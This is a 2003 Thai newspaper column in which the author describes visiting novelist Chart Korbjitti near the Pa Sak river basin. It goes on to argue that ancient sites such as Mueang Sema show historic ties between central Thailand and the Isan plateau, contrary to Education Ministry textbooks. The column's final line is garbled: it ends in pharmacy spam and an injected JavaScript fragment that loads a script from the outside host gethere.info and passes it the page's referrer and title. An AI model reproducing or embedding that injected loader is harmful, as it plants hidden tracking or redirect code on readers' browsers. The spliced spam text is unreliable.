ข่าวสด-พุธที่ ๑๙ มีนาคม พ.ศ. ๒๕๔๖

 

ความรักชาติ (กอบจิตติ)

ที่ดงพญากลางทางดงพญาเย็น

 

คุณสรกล อดุลยานนท์ กับคุณประยงค์ คงเมือง แห่งสำนักพิมพ์มติชน ส่งข่าวทางไกลจากโคราช มาบอกว่างาน Happy Book Day สนุกมาก อยากให้ไปดูเป็นขวัญตา

ตอนสายวันอาทิตย์ ผมเลยเอาปลอกใส่คอเหมือนถูกล่ามด้วยขื่อคา แล้วนั่งรถตู้ที่ไม่ได้กันกระสุน แต่กันธนูหน้าไม้ได้บ้าง ออกจากกรุงเทพฯ แวะเข้าห้องน้ำที่ปั๊มขาประจำข้างถนนมิตรภาพ เพราะต้องซื้อกาแฟเย็น Jeffy กินทุกครั้ง

เข้าตัวอำเภอปากช่อง ถึงกลางตลาดเลี้ยวซ้ายข้ามทางรถไฟไปตามถนนสายเล็กๆ ตรงไปตามแผนที่ ที่คุณชาติ กอบจิตติ ส่ง Fax ให้แต่เมื่อวาน

นั่งรถไปจนพ้นเขตอำเภอปากช่อง ผ่านปลายแดนสระบุรี แล้วเข้าชายขอบลพบุรี เริ่มไม่มั่นใจว่าจะไปถูกทางต้องสอบถามกันตลอด เพราะคุณชาติคนดีของผมบอกไว้หลายครั้งเมื่อหลายปีมาแล้วว่าอยู่ปากช่อง แต่นี่มันเลยปากช่องจนเข้าชายขอบลพบุรีแล้ว ยังไม่มีทีท่าว่าจะเป็นหลักแหล่งที่เขาบอกไว้

แต่แผนที่ยืนยันว่าต้องไปตามถนนเล็ก ๆ อีกหลายสิบกิโล ก็ต้องไปตามนั้น จนถึงที่สุดก็หาทางเข้าถิ่นฐานใหม่ของคุณชาติจนพบ ทางเข้ามี “จำหล่อ” ขวางไว้ ต้องลงจากรถไปยกไม้ขวางขึ้น จะได้เอารถเข้าไปตามถนนดินโรยหินกรวดอีก

มีรถจี๊ปคันหนึ่งแล่นออกมาจากทิศทางที่เข้าใจว่าจะเป็นในบ้านของคุณชาติ รถสองคันเผชิญหน้ากัน ทำท่าจะมีเรื่องเหมือนละครสมิงบ้านไร่ สมัยบ้านดอน สมรบ้านนา บนรถจี๊ปมีคน ๓ คนนั่งอยู่ คือ ชาติ กอบจิตติ เป็นคนขับ อีกคนหนึ่งเป็น “คู่รัก” ที่แปลว่าเมีย ส่วนคนที่เกินมากลายเป็นวาณิช จรุงกิจอนันต์

สอบถามได้ความว่าทั้ง ๓ คน กำลังจะเข้ากรุงเทพฯ เพราะเมื่อคืนวันเสาร์ ชาติกับวาณิชไปร่วมงาน Happy Book Day ที่โคราช แล้วมานอนค้างอ้างแรมที่นี่ คุณชาติและคู่รักจะต้องเอารถไปส่งวาณิช

คุณชาติต้องถอยรถกลับเข้าบ้าน พาผมถือไม้เท้าเดินสะพานเรือกแบบผู้ดี ข้ามลำห้วยไปอีกฝั่งหนึ่งซึ่งเป็นบรรณศาลาอย่างเดียวกับเรื่องเวสสันดรที่มีมัทรีมาคอยปรนนิบัติ ทำให้ผมกลายเป็นชูชกไปโดยปริยายที่มาขัดวิมุตติสุขของเขาทั้งคู่ เสียแต่ไม่มีกันหาชาลีในสระน้ำข้างบรรณศาลา

“ นี่ ทางน้ำอะไรวะ ” ผมถามคุณชาติคนดีที่สุดด้วยภาษาสุภาพ (คลี่ขจาย)

“ชื่อลำพญากลาง ไหลมาจากเทือกเขาใหญ่ไปลงแม่น้ำป่าสัก” คุณชาติคนดีที่สุดบอกอย่างเมตตากรุณา แล้วเดินไปปรุงเมรัยฝรั่งผสมน้ำให้คุณวาณิชถือไปนั่งคุยกันริมตระพังน้อยๆ ในหุบเขา มีเสียงจักจั่นเรไร ระงม เป็นดนตรีขับกล่อมชนชั้นกลางระดับล่าง ๆ

“ไอ้ห่า มึงโกหกกูว่าอยู่ปากช่องดงพญาเย็น ที่แท้มาอยู่ดงพญากลางทางลุ่มน้ำป่าสัก ละโว้-ศรีเทพ ถ้ารู้อย่างนี้กูเข้ามาทางสระบุรีต่อลพบุรีสนุกกว่า” ผมต่อว่าคุณชาติคนดีของผม

“แต่ทางมิตรภาพ มาปากช่องสะดวกกว่า” คุณชาติเถียง

“กูบอกว่าสนุกกว่า ไม่ใช่สะดวกกว่า มึงรู้จักไหม—สนุก ไม่ใช่สะดวก” ผมบอกคุณชาติ กอบจิตติ กับคุณวาณิช จรุงกิจอนันต์ที่กำลังคุยแข่งเสียงจักจั่นระงมดนตรี

บริเวณหุบเขาที่คุณชาติ กอบจิตติ ไปตั้งหลักแหล่งอยู่ตรงลำพญากลางนี้ คือชายขอบของที่ราบลุ่มน้ำป่าสัก อยู่ไม่ไกลจากเขื่อนป่าสักมากนัก เป็นเขตดงพญากลาง ที่ต่อเนื่องดงพญาเย็น (ดงพญาไฟ) เคยพบหลักฐานมนุษย์ก่อนประวัติศาสตร์มีอายุราว ๒,๕๐๐ ปีมาแล้ว และอยู่ต่อเนื่องมาถึงยุคทวารวดีจนสืบถึงกรุงศรีอยุธยา พบเมืองโบราณและชุมชนโบราณถลุงเหล็กกระจายทั่วไป ก็นี่ยังไง- คนไทยอยู่ที่นี่

คุยกันไม่นาน ผมขอเดินทางต่อเพื่อเข้าโคราช ส่วนเขา ๓ คนเข้ากรุงเทพฯ

เมื่อแยกกัน ผมไม่กลับทางเดิมเข้าปากช่อง แต่ไปตามถนนดำขึ้นที่ราบสูงทางอำเภอด่านขุนทด แล้วลัดเข้าอำเภอสูงเนิน ที่มีเมืองโบราณชื่อศรีจนาศะ เป็นแคว้นอิสระนอก “กัมพุชเทศะ” แต่ทุกวันนี้เรียกเมืองเสมา เป็นเมืองยุคทวารวดีที่รับวัฒนธรรมจากลุ่มแม่น้ำเจ้าพระยา

นี่ไง-หลักฐานความสัมพันธ์ระหว่างภาคกลางที่ราบลุ่มกับอีสานที่ราบสูง ที่กระทรวงศึกษาธิการแต่งตำราว่าไม่มีความสัมพันธ์กันมาในประวัติศาสตร์

จะยอมแต่งตำราเรียนใหม่หรือยัง? หรือจะดันทุรังอย่างทุเรศต่อไปอีก?fluoxetine 25 mg order forzest onlines.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;